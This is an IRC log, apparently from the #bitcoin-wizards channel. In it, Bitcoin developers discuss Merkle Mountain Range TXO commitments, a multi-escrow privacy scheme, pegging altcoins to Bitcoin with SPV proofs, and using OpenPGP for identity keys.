19:22 < petertodd> heh, I wasn't asking you, although that you assumed that says something about the relative privacy of -wizards :P
19:23 < Luke-Jr> well, freenode policy makes that matter clear anyway
19:23 < petertodd> oh yeah?
19:23 < Luke-Jr> public channels need to have the log in the topic or onjoin
19:23 < petertodd> ah
19:24 < petertodd> specifically I'm asking because of this guy: https://bitcointalk.org/index.php?topic=314467.0
19:24 < Luke-Jr> gmaxwell: maaku: I think you guys were in the convo?
19:26 < petertodd> amiller: you too
19:27 < amiller> wat
19:27 < amiller> oh, yeah this should be public
19:27 < petertodd> amiller: mind if I make our conversation from two days ago re: TXO commitments public
19:28 < petertodd> amiller: thanks
19:28 < amiller> my understanding is this channel isn't even meant to be obscure, it's just that we discuss stuff that's too weird/frightening for someone trying to build bitcoind
19:28 < petertodd> same
19:29 < petertodd> I think setting up a public archive for this channel would be a good thing re: patents for instance
19:30 < gmaxwell> it's not meant to be obscure, though I have kinda avoided inviting people with ideas which I think are weird because the author is an idiot.
19:30 < petertodd> yeah, that's an issue too
19:31 < gmaxwell> e.g. if your idea is far out because you're dumb I tell you to go away, if its far out because its advanced or really speculative but still sane, I say join #bitcoin-wizards.
19:31 < gmaxwell> it's something of a personal failing that I don't respond really well to people who are agressively promoting jibberish. I'm working on doing better. :)
19:32 < gmaxwell> (if nothing else its at least a failing because my jibberish filter sometimes has false positives)
19:33 < petertodd> https://s3.amazonaws.com/peter.todd/bitcoin-wizards-13-10-17.log <- this is it to be specific
19:33 < gmaxwell> (I'm happy that things here go however everyone else wants them to, but if we get too many people with batshit technobable I'll probably stop participating myself)
19:34 < petertodd> god help us if we need to make #bitcoin-sane-wizards
19:46 < petertodd> alright, replied: https://bitcointalk.org/index.php?topic=314467.msg3371043#msg3371043
19:46 < petertodd> bbl
19:47 < gmaxwell> petertodd: you also posted about the idea in the forum in the bitspam (or whatever it's called) thread.
19:51 < sipa> gmaxwell: i think you answered very politely to the open-source criticism person :)
20:16 < gmaxwell> sipa: thanks.
20:16 < gmaxwell> petertodd: https://bitcointalk.org/index.php?topic=314467.new#new
20:17 < nanotube> hehe loved the riddles.
20:19 < gmaxwell> sipa: I came up with a slight enhancement to PT's MMR-tree idea, just the simple observation that if all nodes are required to store the N top most levels of the tree (by virtue of never including them in proofs), that wallets only need to monitor the fragments of blocks which are making update to parts of the tree where they have UTXOs.
20:20 < gmaxwell> sipa: e.g. you could have wallets 'bloom filter' blocks still in this model.
20:21 < nanotube> sad to say that while i was reading the blue/red hats one for clarifications, hm2's solution snuck up on me. >_< the monk one took a few hints from sipa before i grokked. poisoned wine was easy. and thanks for that riddles link, gmax. :)
20:21 < gmaxwell> (e.g. in addition to normal bloom filtering, they'd recieve the parts of blocks that modify any parts of the history where they have coins)
20:21 < sipa> gmaxwell: i really need to think hard about those MMRs
20:25 < gmaxwell> Crap crap. I solved some wizards relevant problem recently.. and I've forgotten to tell you all. I remembered it while writing that MMR post but then forgot it again by the end.
20:26 < gmaxwell> sipa: at the moment, the worst I can say about MMR is that enjoying its full potential requires more compromises than perhaps we can accept in bitcoin.
20:27 < gmaxwell> E.g. if you go 100% of the way to no one has the full history, then a bootstraping node must only have SPV security.
20:27 < gmaxwell> OHHHHHH
21:27 < amiller> petertodd, is this deterministic structure
21:27 < amiller> it's not randomized?
21:27 < petertodd> amiller: Yes actually, 100% deterministic consensus.
21:28 < amiller> the sturcture depends only on the number of elements and nothing about the contents of the elements i mean
21:28 < maaku> amiller: yes, as far as i can tell
21:28 < petertodd> maaku: Well, it's worth measuring, but keep in mind that there's lots of useful things you can do with UTXO abuse, and I'd rather we get out of the game of lecturing everyone about it.
21:28 < petertodd> amiller: Yup.
21:29 < amiller> i still don't see it
21:29 < amiller> do you have any more illustrations
21:29 < amiller> of like insertions 1 through 10
21:29 < petertodd> amiller: did you see gmaxwell's link on my paper about MMR's?
21:29 < amiller> or psuedo code for insertion
21:29 < amiller> i don't care about the hashes just the tree is fine
21:29 < petertodd> //github.com/opentimestamps/opentimestamps-server/blob/master/doc/merkle-mountain-range.md
21:29 < amiller> yes i have been reading that
21:29 < amiller> yeah i got that
21:29 < amiller> i can't understand it
21:30 < amiller> pseudo code for append plz
21:30 < petertodd> OK, so get out a piece of paper, and put a bunch of dots along the horizontal axis. Now from left to right, pair a few dots, then pair those pairs etc.
21:30 < maaku> amiller: just imagine a standard Merkle list
21:30 < maaku> but without satoshi's weird handling of the last element, so it's O(1) updatable
21:30 < maaku> on an append at least
21:31 < petertodd> hell, here's python code that actually implements it: https://github.com/opentimestamps/opentimestamps-server/blob/master/otsserver/dag.py#L203
21:31 < petertodd> maaku: yeah, what's interesting is the naive way of building a merkle tree, going left to right and just promoting the left most odd element, naturally gives you a MMR
21:32 < petertodd> maaku: All I've done is observed that you can cheaply build it incrementally and deterministically, as well as update it cheaply and deterministicly.
21:32 < petertodd> *right most odd element
21:32 < amiller> https://github.com/opentimestamps/opentimestamps-server/blob/master/otsserver/dag.py#L396 i can't understand how this is O(1)
21:33 < petertodd> amiller: The append? technically it's O(log2(log2(n)) for n elements
21:33 < maaku> petertodd: yeah the way bitcoin actually does Merkle trees only makes sense because of the weirdness of how it's done using C++'s vector<> type
21:33 < amiller> oh
21:33 < petertodd> amiller: O(1) for short :P I mean, seriously, log2^2(n) does *not* grow very fast...
21:33 < maaku> i spent a long time trying to make sense of that when i first encountered it
21:35 < petertodd> maaku: Now what I don't get, is how can I update a UTXO radix tree without storing nearly all of it? Like suppose I have an ancient tx0, and I add tx1 where numerically tx0 and tx0 are very close to each other - how do I update the tree without having H(tx0)?
21:35 < amiller> still don't see why it's not log n
21:36 < petertodd> amiller: Not log n for append?
21:36 < amiller> right
21:37 < petertodd> amiller: Appending needs to touch only the "mountain tips", that is the perfect merkle trees already stored, and for n items stored you'll have log2(n) trees. (roughly)
21:37 < petertodd> amiller: I mean, it's actually whatever is the expression that gives you the number of perfect trees on average in n, but log2(n) is pretty close to that.
21:38 < amiller> then how do you get loglog n instead of log n
21:39 < maaku> petertodd: i'm not sure i understand the question. what you do to update proofs is walk the pruned proof-tree updating the pruned branches, as necessary
21:39 < petertodd> amiller: oh, sorry, I mispoke, so if you have n items, because the first perfect tree has log2(m) items, where m is whatever is the largest perfect tree, then the next largest, and so on, in total the number of perfect trees is about log2(log2(n))
21:40 < petertodd> maaku: But that's it: I want a system where to be a full validating node you don't need to store the whole UTXO set.
21:40 < petertodd> maaku: Er, I mean, a mining node.
21:40 < petertodd> maaku: With UTXO radix trees you can validate, but you can't update the UTXO set.
21:40 < maaku> petertodd: where did I say you need the full set? you don't
21:41 < maaku> require incoming transactions to have their own proofs
21:41 < maaku> mempool proofs can be updated with using the delta-proof the blocks, as they come in
21:41 < petertodd> maaku: That covers spending a transaction, but it doesn't cover making a new transaction output.
21:41 < petertodd> maaku: I can delete items from the UTXO set but I can't add new ones basically.
21:42 < maaku> petertodd: ? work it out, it does work
21:42 < amiller> if i have 2^5-1 elements, i have a perfect tree of size 2^4, a perfect tree of size 2^3, etc.
21:42 < amiller> that's log, rather than a log log, number of trees?
21:42 < petertodd> maaku: I have tried to work it out, and I just don't see how it's possible. I mean, look at it this way, if you have *none* of the UTXO set data other than the last top level commitment, can you add a new txout to it?
21:43 < amiller> maaku, with utxo commitments of any kind, you never need to store the whole utxo set to validate a tx that comes with a proof
21:43 < amiller> a validating node doesn't just get given raw transactions and told to look it up
21:43 < maaku> petertodd: yes, because the update proof would consist of the path through the *last* index to where the output is to be placed, and then the data to put there
21:44 < amiller> it's given transactions and proof
21:44 < amiller> maaku, now the quetsion is what's required to take a raw transaction and build a proof
21:44 < petertodd> maaku: There is no update proof! It's a brand new txout.
21:44 < amiller> maybe you don't want an spv node to have to do it themself
21:44 < amiller> maaku, but suppose you are a storing node that has clients
21:44 < amiller> customers i mean
21:44 < amiller> for each addrses you care about, you may have to store up to 256 digests to support creating a proof for any transaction they have
21:44 < maaku> amiller: yes, someone somewhere needs to store the relevant paths to access coins in the utxo structure
21:44 < amiller> per coin they have
21:44 < amiller> maaku, yes but no one has to store *all* of them
21:45 < maaku> amiller: agreed
21:45 < amiller> each person interested in a utxo may have to store (and update) the proofs relative to those
21:45 < amiller> but they're not too many
21:45 < maaku> amiller: yes
21:45 < petertodd> amiller: Meh, call it appends are log2(n) if you want. :) I'd have to think through that one carefully, but anyway in any real situation there will never be more than, IIRC, 16 mountains or something like that so it's always pretty cheap.
21:45 < maaku> amiller: what are you arguing against?
21:45 < amiller> petertodd, well, it depends on whether they're growing unboundedly?
21:45 < amiller> i guess still ther'll never be too many
21:45 < amiller> but yes i'll call it log n until i'm convinced otherwise :3
21:46 < petertodd> amiller: Yeah, you can see how it's certainly less than the log2(n) height of a tree.
21:46 < maaku> amiller: it wouldn't be 256 digests - the proofs are stored level-compressed, so it's log2(unspent outputs)
21:46 < amiller> that assumes they're random
21:46 < amiller> which is maybe
21:46 < amiller> but sure
21:47 < amiller> also if you do it level compressed you can do the concurrent proofs but w/e
21:47 < petertodd> maaku: Basically you're describing a system where someone has to have every single historic UTXO ever created just in case someone happens to need to create a new UTXO that happens to be adacent to it in the radix tree, and that's not good.
21:47 < maaku> amiller: *stored* level-compressed, but expanded when used
21:47 < amiller> ok
21:48 < maaku> petertodd: no, i'm not. maybe you'll just have to wait for the bip to see
21:48 < petertodd> maaku: Whereas MMR TXO commitments are a system where you can throw out every bit of blockchain history, and still add new blocks.
21:48 < amiller> petertodd, oh, i see, you're right
21:48 < amiller> that's a good point
21:48 < amiller> you don't know what to hold on to
21:48 < amiller> in order to create a new address
21:48 < amiller> when you create a new address it's random bits
21:48 < maaku> to create a transaction you need *just* the path through the utxo set to your outputs
21:48 < petertodd> amiller: Yeah, you absolutely need the adjacent UTXOs to create the proof of modification.
21:48 < amiller> you'd have to go find people to query for each branch
21:48 < amiller> it's possible that the only people who had a relevant branch have gone and died
21:48 < petertodd> maaku: Yes, and that path needs at least one adjacent UTXO, which can be of any age.
21:48 < amiller> no one cares about them and they don't care about their coins
21:49 < amiller> but now it's a hazard for anyone creating a new address
21:49 < amiller> merkle mountain range fixes that just fine
21:49 < amiller> mmmm +1 insertion order sorted tree
21:49 < petertodd> amiller: Lol, I like the way you're describing it as a sorted tree. :P
21:50 < petertodd> amiller: Fortunately for the purposes of expiration it's sorted in the right order!
21:50 < amiller> every tree has a sort order, just sometimes it's a random permutation :o
21:50 < petertodd> amiller: Or I should say, pseudo-expiration.
21:50 < amiller> you can immediately forget it all
21:50 < amiller> it's great
21:51 < petertodd> amiller: Ha, yeah, it's one of those crazy systems that's almost too good: if everyone can forget it immediately, we damn well better hope someone doesn't.
21:51 < amiller> nah
21:51 < amiller> you remember if you care
21:51 < amiller> if you don't care then you forgot your private key anyway
21:51 < amiller> now here's the trouble is
01:40 < petertodd> now both input and output transactions are, in the general case, totally standard. (modulo the SIGHASH_NONE business... bit annoying that)
01:40 < gmaxwell> oh interesting, you applied the same transformation on both sides. now if everyone is honest its just a pair of 2 of 2 escrows.
01:40 < petertodd> yup
01:40 < gmaxwell> But if anyone is dishonest it becomes a set of interlinked hashlocked transactions.
01:41 * gmaxwell thinks for a minute
01:41 < petertodd> and if anyone is a shitty programmer we're in for a world of hurt :P
01:41 < gmaxwell> it'll be like namecoin
01:41 < gmaxwell> :(
01:41 < petertodd> how so?
01:41 < gmaxwell> get used for years by thousands of people and it won't matter if the transactions are really anyonecanspend.
01:42 < petertodd> until it breaks and we realize it doesn't actually work? yeah...
01:42 < gmaxwell> I note that the ABS() challenge transaction has free dinner sitting waiting for someone to take it. :P
01:42 < petertodd> needing eligius's help has problems here
01:42 < petertodd> ha, I know
01:42 < petertodd> shhh
01:43 < gmaxwell> petertodd: hm. I'm not actually sure your thing works. I don't see how you release the escrows.
01:43 < petertodd> what do you mean?
01:45 < gmaxwell> okay, nevermind I see it.
01:45 < gmaxwell> there are three layers of transactions going on here.
01:45 < gmaxwell> The default path, the refunds, and the anti-cheating.
01:46 < gmaxwell> transaction teleportation indeed.
01:46 < petertodd> yeah... I'll have to actually implement it to be sure I understand it myself :/
01:46 < gmaxwell> Someone a while back was trying to propose a telportation protocol like this using 2of2 escrows, but he has nothing to prevent people from playing chicken (no hashlock idea)
01:47 < petertodd> figures, it's a nice idea, just tricky to come up with all three layers
01:47 < petertodd> like you need to be a wizard or something
01:48 < gmaxwell> heh. Yea, it needs all three layers to gain all it's magical properties.
01:48 < gmaxwell> its great that it looks like a pair of unrelated 2 of 2 escrows.
01:48 < petertodd> yup
01:48 < petertodd> also, note that Alice and Bob can be the same person :)
01:48 < gmaxwell> that'll give it a pretty good anonymity set.
01:49 < gmaxwell> yea, amiller pointed that right away.[6~[6~
01:49 < petertodd> heh, it's not totally obvious... and it's probably best if it's possible that they aren't!
01:50 < gmaxwell> I think it's actually more useful as something where they aren't. Bitcoin is already private when you get paid. This makes you private when you pay (well, except towards carol)
01:50 < petertodd> yeah, and Alice can handle Bob's side of the transaction on Bob's behalf
01:51 < petertodd> turning this into a secure version of blockchain.info's send-shared
01:51 < petertodd> s/secure/trust-free/
01:52 < gmaxwell> Yep.
01:52 < petertodd> I think the main thing that sucks about it, is that it can't be arranged to all happen in one step - the rounds-trips are a nuisance.
01:52 < petertodd> Also, waiting for confirms sucks.
01:53 < gmaxwell> yea well thats a reason to note that alice can logically run it for bob. runnning it alice/alice allows alice to unlink funds before selecting bob.
01:54 < gmaxwell> the next obvious thing to do is to partner with a mining pool, so that carol is issuing freshly mined coins.
01:54 < petertodd> ah, yeah that's good
01:54 < petertodd> right, so essentially make a wallet where you setup txouts in advance using this method
01:54 < gmaxwell> Otherwise you always have to worry about crappy carols going and mixing up the funds in the future.
01:55 < petertodd> could be interesting to do this with a pool that had a bit of hashing power, and just wait until they make a block with the desired output right in the coinbase!
01:55 < petertodd> not practically more useful, but nice PR
01:56 < petertodd> heh, and then shuffle the incoming coins through the coinbase via fees...
01:56 < gmaxwell> meh, sullys the airgap.
01:56 < petertodd> not if more than one pool is doing this and they're mining anonymously
01:57 < petertodd> but yeah, better to pay out to miners with the coins coming in instead
01:57 < petertodd> s/miners/hashers/
01:59 < petertodd> anyway, at bare minimum the temporal ordering of the money going in and the money going out is disturbed, which is something coinjoin can't do
02:01 < petertodd> it'd be good to think if the efficiency can be improved - for instance can we construct the coins coming in such that they are actually being paid to someone who is getting coins out from a teleported payment happening simultaneously?
02:02 < gmaxwell> well, that hardly matters much if the transactions are conspicious unless it is very widely used. With them less conspicious its more interesting.
02:02 < petertodd> yeah, we need more multisig-using wallets to have any hope of this not looking interesting
02:03 < gmaxwell> petertodd: I think its hard to do that, because while the alice->carol payment could really go to sue, the cheating escapes are specific to alice->bob.
02:03 < petertodd> might be good to use new pubkeys for all this stuff, so that bob can get the privkeys so he doesn't need NONE|ANYONECANPAY
02:03 < gmaxwell> oh that always has to be a requirement for any protocol where you sign stuff you can't see.
02:04 < gmaxwell> otherwise you risk getting tricked into signing a transaction you didn't intend to sign.
02:04 < petertodd> oh, but see, here I'm not sure you are actually singing sutff you haven't seen
02:04 < gmaxwell> you are for refunds.
02:04 < petertodd> true
02:05 < petertodd> w/ your p2sh anti-mutability trick
02:05 < gmaxwell> In general I think this kind of thing can go forward assuming mutability is just fixed. We're on our way to fixing it, and having applications it breaks is the motivation to finish the job.
02:06 < petertodd> yeah
02:06 < gmaxwell> today people use totally insecure trusted protocols... so something like this where refunds are fragile is probably fine in the short term.
02:06 < petertodd> yup
02:07 < petertodd> of course, this is an example where an alterative implementation is fidelity bonding it all, and it'd be a good deal more efficient given that alice pay a simultaneous bob
02:07 < gmaxwell> sort of a bummer that there is no great way to coinjoin into and out of the thing.
02:07 < gmaxwell> Because the fact that carol learns the matching is lame.
02:08 < gmaxwell> you could sandwitch the thing inside coinjoins with extra transactions though.
02:08 < petertodd> yup
02:08 < gmaxwell> well I don't like anything that creates carol-inertia too much.
02:09 < petertodd> otoh, in a scheme where carol does learn, carol can always be paid off to get the logs
02:09 < gmaxwell> Because carol is a privacy point of failure and an attractive target. It's good that bonding carol doesn't make carol non-anonymous, but better if we can have lots of carols so that there is no obvious target to compromise... and all the really interesting traffic can traverse multiple carols.
02:10 < petertodd> so, here's the neat thing: there's an incentive to be carol too! you get new coins just as much as bob does
02:10 < gmaxwell> right thats why carol learning sucks, and its one way CJ is strictly superior, in that its not hard to totally blind CJ.
02:10 < gmaxwell> But I think in a world with both CJ and teleportation and lots of carols, logs are not so useful.. you get carols logs and the interesting traffic came in/out via another carol or via CJ.
02:11 < petertodd> sure, my point being though if you put this in a protocol, do it on a p2p layer and make the application play the role of both alice and carol when you want to get coins to pay bob
02:11 < gmaxwell> and while you could try to pay all carols chaum blinded CJ can't be bought, only flooded.
02:11 < gmaxwell> oh interesting. you make bob recieve your carol role coins perhaps.
02:12 < petertodd> It should all be wrapped up in a "Pay bob!" and depending on who wants to do what, you'd either pay Bob by being Alice, or pay Bob by being Carol and using Alice2's funds to pay Bob
02:12 < gmaxwell> so you could be alice or carol, whichever is in more demand, and bob either gets bob coins or carol coins.
02:12 < petertodd> yup
02:12 < petertodd> Or even, depending on amounts available you'll wind up using both types to pay Bob
02:13 < gmaxwell> Every time I see you falling
02:13 < gmaxwell> I get down on my knees and pray
02:13 < gmaxwell> I'm waiting for that final moment
02:13 < gmaxwell> You say the words that I can't say
02:13 < petertodd> lol
02:15 < petertodd> though, with non-trivial tx fee costs the pure fidelity bonded version will probably be popular too...
02:15 < warren> I made a Bitcoin 0.8.5 branch with all backports that we have in Litecoin plus a few features that aren't committed to 0.9 yet.
02:15 < petertodd> it's interesting though, because there will always be a lot of transactions whose value is such that fees don't matter much
02:15 < warren> I found a bug in watchonly in the process.
02:16 < petertodd> oh good
02:16 < gmaxwell> warren: \0/
02:16 < warren> waiting for sipa to wake up
02:16 < warren> what should I call this branch ...
02:16 < warren> "plus"
02:16 < warren> "omg"
02:17 < warren> oh heck, I'm including NODE_BLOOM
02:18 < petertodd> heh
02:19 < petertodd> include Discourage fee sniping with nLockTime and you can really be living dangerously :/
02:19 < petertodd> (and determine if anyone uses it...)
02:19 < warren> petertodd: how dangerous is that?
02:19 < warren> petertodd: I'd like people to actually use this branch
02:20 < petertodd> warren: lol, Luke's been testing it for ages actually with no problems, but some badly written wallet software still handles final nLockTime wrong :(
02:20 < warren> I'd like to include https://github.com/bitcoin/bitcoin/pull/2839 but testing in Litecoin OMG2 suggests it doesn't work.
19:28 < gmaxwell> the proof can start at the point the txn of interest was mined.
19:28 < BlueMatt> that gets pretty expensive?
19:28 < gmaxwell> I mean, it's 80 bytes per header. so not really.
19:29 < BlueMatt> very expensive if you hold the alt for an extended period...
19:29 < BlueMatt> well, no miner is gonna mine a tx that is 80 bytes*N where N is a few weeks/months of headers
19:29 < gmaxwell> BlueMatt: oh no, you don't do it over the life of the alt.
19:29 < gmaxwell> crazy no no thats not how it works.
19:30 < gmaxwell> you take some coin and assign it to a scriptPubKey that can be redeemed by anyone who provide a SPV fragment from the altcoin showing any of those coins being reassigned back to bitcoin, with a sum difficulty of at least X.
19:30 < adam3us> gmaxwell, BlueMatt: a 1:1 peg - doesnt that import security risk from the alt into bitcoin? (i suggested a 1 way peg "bitcoin staging" only so bitcoin is security firewalled) are we talking about the same area of feature
19:31 < gmaxwell> adam3us: only to the limit of the alt. say the alt was somehow totally insecure... you could then steal all the bitcoins that had been assigned to the altcoin.
19:31 < gmaxwell> but no more.
19:32 < adam3us> gmaxwell: hmm that might be ok
19:32 < BlueMatt> adam3us: what gmaxwell said (if you decide to put your btc in the alt, sucks for you)
19:32 < gmaxwell> BlueMatt: one problem there is that isn't really spv security, its "spv transcript" security, in that the bitcoin network isn't going to go out and find a longer chain.
19:32 < adam3us> BlueMatt: yes that is an acceptable trade off and already at risk with a 1-way peg
19:33 < gmaxwell> BlueMatt: But I did come up with a way to boost that to more like real SPV security with a bit more script power.
19:33 < BlueMatt> gmaxwell: well, ok, sum difficulty is one way...but very non-ideal
19:34 < gmaxwell> (you make the relase of coins back into bitcoin two phase. The first phase you do a header proof for the release.. and that gets mined.. but it can only output to a special holding script with the following rules:
19:35 < gmaxwell> after N blocks the releasing party can grab the coins. OR at any point, any party can show a longer chain to prove the release was bogus. and then they can only be redeemed with a new release on a chain longer than that one.
19:35 < gmaxwell> In any case I think most of the stuff thats been said of any technical substance on this is in the coinwitness thread (where I suggest using SNARKs for C to compact the proofs, though its not essential): https://bitcointalk.org/index.php?topic=277389.0
19:36 < gmaxwell> obviously if you compact the proofs things start sounding more interesting from a scaling perspective.
19:37 < gmaxwell> also if the headers of the altcoin form a MMR (insertion ordered binary tree) it may be cheaper to prove long spans of difficulty.
19:37 < BlueMatt> yea, though depending on cutting-edge crypto is ugly...
19:38 < gmaxwell> BlueMatt: well there are less ambitious (efficiency wise) ways to construct these proofs, but they're larger... though I'm not sure if we could get the direct proofs down with special support. Maybe.
19:38 < gmaxwell> SPV fragments can be pretty small.
19:39 < BlueMatt> yea, its all a bit expensive, really
19:39 < BlueMatt> it would be fun to be able to peg arbitrary altcoins to bitcoin as it really addresses the issues altcoins cause
19:40 < BlueMatt> allows them to innovate (ie risk people's money) while not costing bitcoin's digital scarcity/competing on store-of-value
19:40 < gmaxwell> BlueMatt: one way is easy
just have them validate bitcoin too.
19:40 < adam3us> BlueMatt: agreed
19:41 < gmaxwell> BlueMatt: one point is that you could coinjoin your cross chain merges perhaps, to make them smaller. e.g. one proof and then a dozen transactions hop the gap.
19:44 < BlueMatt> gmaxwell sure, but if you only peg one-way its really not particularly useful
19:44 < BlueMatt> well, it is, but not as useful
19:44 < BlueMatt> gmaxwell: sure, you could limit to like 1 coinjoin'd alt->btc tx per day
19:45 < BlueMatt> but even that could be expensive
19:45 < gmaxwell> I dunno, I mean, it's a seralized transaction and spv proof, plus some additional headers.
19:45 < BlueMatt> well, if you have 100 alts all doing that, it does
19:46 < adam3us> BlueMatt: I like 1:1 peg idea, I only suggested 1-way peg to insulate security, if you can insulate security to the coins in the alt, thats even better
19:47 < BlueMatt> as long as you limit it to the people who transferred their coins...
19:47 < BlueMatt> gmaxwell: hmm...
19:47 < gmaxwell> lets say there are 2^12 txn per altcoin block, ... lets imagine you make the altcoin txn themselves hashtree so you can get to only their outputs.. so say maybe 64 bytes for the altcoin output, 384 bytes for the spv tree. 4 bytes for a spv index, and 12 80 byte headers = 1.4k.
19:48 < gmaxwell> it's bigger than a typical ecdsa signature, but not murderous.
19:48 < gmaxwell> and if they coinjoin the biggest parts (960 bytes of headers, 384 bytes of hashes) can be shared.
19:49 < gmaxwell> adam3us: yea, I don't think there is a security need to make it one way. If you can never "pull back" more from an altcoin than was sent to it, then only the holders of the altcoin are at risk.
19:50 < adam3us> gmaxwell: seems plausible indeed, i just didnt think of it in those terms at the time. good
19:51 < gmaxwell> the altcoin is also a bitcoin node, and monitors bitcoin for coins assigned to the altcoin, and then permits someone on the altcoin to emerge those coins from thin air.. and then when you want to send them back you make a special transaction in the altchain and prove you did it to bitcoin.
19:51 < adam3us> gmaxwell: i suppose the other thing is it itself requires bitcoin changes, perhaps non-trivial ones, and that is part of the reason for the exercise.
19:51 < gmaxwell> yea, unfortunately it requires changes to bitcoin.
19:52 < gmaxwell> we could _almost_ do it in script without the disabled opcodes, but there are enough little corners that I suspect we can't.
19:52 < adam3us> gmaxwell: but an interesting enough change perhaps for motivation to be there as it creates an avenue for value preserving experimentation
19:52 < BlueMatt> 12 blocks seems shallow to me given most altcoins have no miners...
19:53 * BlueMatt thinks this solves the "alt problem"
19:53 < adam3us> BlueMatt: probably have to overcome the merge mining / side chain incentive problems somehow
19:53 < adam3us> BlueMatt: yes i like it a lot :)
19:53 < adam3us> ***adam3us wants to destroy all new digital scarcity race alts
19:53 < gmaxwell> BlueMatt: namecoin's difficulty is 81% of bitcoin's.
19:53 < BlueMatt> gmaxwell: really? wow
19:54 < adam3us> gmaxwell: thats because of heavy merge-mining tho because its been around for a long time
19:54 < gmaxwell> I seem to recall telling you this at the meetup here too. :P
19:54 < gmaxwell> adam3us: sure, but this would be merged mined too.
19:54 < gmaxwell> Now, one annoying issue is that MM makes the @#$#@$@# SPV proofs much bigger. :(
19:56 < BlueMatt> gmaxwell: though it does mean bitcoin miners with bitcoin blocks can do more verification :)
19:56 < gmaxwell> basically doubles the hashtree size plus the size of a bitcoin coinbase.
19:56 < BlueMatt> (though not with existing disabled script opcodes)
19:56 < gmaxwell> in any case, its doable and not unrealistic.
19:57 < BlueMatt> personally, if there's one feature we should enable in bitcoin (testnet) its this
19:57 < gmaxwell> it's not even a hardforking change in bitcoin.
19:57 < BlueMatt> but, we need f**$@#%@ reviewers
19:58 < gmaxwell> it can be deployed like p2sh.
19:58 < BlueMatt> well, to re-enable the script opcodes...
19:58 < gmaxwell> well this needs a bit more than script opcodes, and really, to make it efficient it would probably best be implemented directly.
19:59 < BlueMatt> yes
20:00 < gmaxwell> one optimization would be to have only SPV security inside bitcoin for those proofs too.
20:01 < gmaxwell> E.g. the txn that releases coins in bitcoin has just a hash of the proof in its scriptsig. the actual proof must be provided along with blocks but only until they're sufficient burried in bitcoin.
20:01 < gmaxwell> (after all, if the emergence in the other chain has only SPV security, no reason to have better security in bitcoin)
20:01 < adam3us> gmaxwell: i was going to ask how does bitcoin know the transaction is non orphan on the alt?
20:02 < gmaxwell> adam3us: thats what the 12 or whatever headers are for from the alt.
20:02 < adam3us> gmaxwell: i might make it 100 like mining confirmations
20:03 < BlueMatt> 100 was fairly arbitrary
20:03 < BlueMatt> though I dont like 12...
20:03 < gmaxwell> whatever, the altcoin could actually signal it with something in its headers.
20:04 < BlueMatt> yea
20:04 < gmaxwell> the big problem with making it big is that it creates a release delay in moving the coins back.
20:04 < BlueMatt> meh, who cares
20:04 < BlueMatt> even if the release delay is a day...
20:05 < gmaxwell> there are altcoins with 30 second blocks that advertise confirmed = 3 blocks
20:05 < BlueMatt> meh, I dont care about altcoins that are working at dumb knob-tweaking, I'm talking about altcoins that do actually useful research
20:06 < gmaxwell> well, its a fungiblity thing. It's not really a bitcoin if it has a 24 hour ramp to move across. But one interesting thing is this: You could do CoinSwaps nearly instantly with reasonable security. So the real migration doesn't need to be fast because it's only needed to correct long term imbalances.
20:07 < BlueMatt> yep, thats what I was thinking
20:07 < BlueMatt> its really only to peg the value, not to act as something that need be traded regularly
20:07 < adam3us> gmaxwell, BlueMatt: yes agreed; cross chain atomic swa
20:08 < adam3us> gmaxwell: even with 1-way peg i was thinking it should have mostly balanced
04:36 < petertodd> jgarzik: also s/distributed consensus/decentralized consensus/ IMO
04:37 < petertodd> if we were merely distributed at least fixing a bug would be easy...
05:12 < gmaxwell> This sounds like the title of a paper which would be very useful when reading bitcointalk: "Optimal Error Correction Against Computationally Bounded Noise"
09:05 < jgarzik> petertodd, that's a good response
09:23 < jgarzik> petertodd, RE SIN private email (though my answer is of relevance here, perhaps): general advice from you and gmaxwell on SIN is to not reinvent OpenGPG with its key expiration/revocation/other features.
09:24 < jgarzik> That advice seems wise. However, it also seems like something a user would want (to revoke a SIN, handle the compromise case, etc.)
09:24 < jgarzik> Does OpenGPG permit integration of ECDSA as we use it -- just verify/sign messages, no crypto?
09:59 < petertodd> jgarzik: Yes. OpenPGP can have packets that only sign of course, and you can use one of the private signature algorithm numbers to implement secp256k1 directly.
10:00 < petertodd> jgarzik: The main disadvantage of OpenPGP is that libraries to work with OpenPGP directory kinda suck for now.
10:13 < jgarzik> petertodd, more than kinda
10:14 < jgarzik> petertodd, it is functionally the Tor situation: everybody tells you "Run This Binary, From This Anointed Codebase"
10:14 < petertodd> jgarzik: heh, well a direct OpenPGP library that's up-to-date doesn't exist except on Java...
10:14 < petertodd> jgarzik: there's a python library, but it's a few years out of date
10:15 < petertodd> OTOH you certainely could write enough to follow whatever you want for your SIN standard, and complete the library later
10:15 < jgarzik> true
10:16 < petertodd> I could use some OpenPGP library goodness myself for timestamping - I want to implement timestamping as a new signature algorithm. Something that you can't benefit from if you create yet another from-scratch standard.
10:17 < petertodd> You probably can also design SINs such that existing keyserver/wot infrastructure will be useful.
10:17 < jgarzik> petertodd, I think the existing keyserver/wot infrastructure is crappy and silly
10:17 < jgarzik> ;p
10:18 < jgarzik> way behind bitcoin community standards
10:18 < petertodd> I think you're very wrong on that actually; WoT is high-maintenance, but used correctly is very high security.
10:18 < jgarzik> petertodd, You've just described why it is crappy and silly :)
10:18 < petertodd> Even not used correctly it's a gigantic pain in the butt to compromise.
10:18 < jgarzik> petertodd, Most won't make the effort
10:19 < petertodd> jgarzik: So? Most don't make the effort, but equally many communities do and get to benefit from it. What'd be good is to have some centralized infrastructure used the same underlying mechanisms, so you can get the best of both worlds where appropriate.
10:20 < jgarzik> I try to target "most" not just high security types
10:20 < jgarzik> SIN/identity is for everyone, necessarily
10:21 < petertodd> Yes, but don't design systems that gratuitiously are incompatible; afterall like it or not but SIN/identity is equivalent to WoT, just with odd trust-graphs.
10:23 < petertodd> Not unlike how there exists the PGP Global Directory Verification Key and CA Cert Signing Authority (Root CA)
10:23 < jgarzik> Average people will never have keysigning parties
10:23 < petertodd> Who cares?
10:24 < jgarzik> I do.Most contact will be digital attestations from
10:24 < jgarzik> governments, corporations, etc.
10:24 < jgarzik> Or private party-party transactions
10:24 < petertodd> Whether or not people have keysigning parties has absolutely nothing to do with whether or not you make a system that is WoT-compatible, rather than gratutiously incompatible.
10:26 < jgarzik> If SIN's ECDSA can be packetized within OpenPGP, it need not be gratuitously incompatible. Compatibility with existing WoT is not a high priority, however.
10:27 < petertodd> Big question: what type of ECDSA do you want? OpenPGP has support for ECC already, although with snowden there's a chance they'll use different curves.
10:28 < petertodd> Get a copy of GnuPG >= 2.1 and you can try it out.
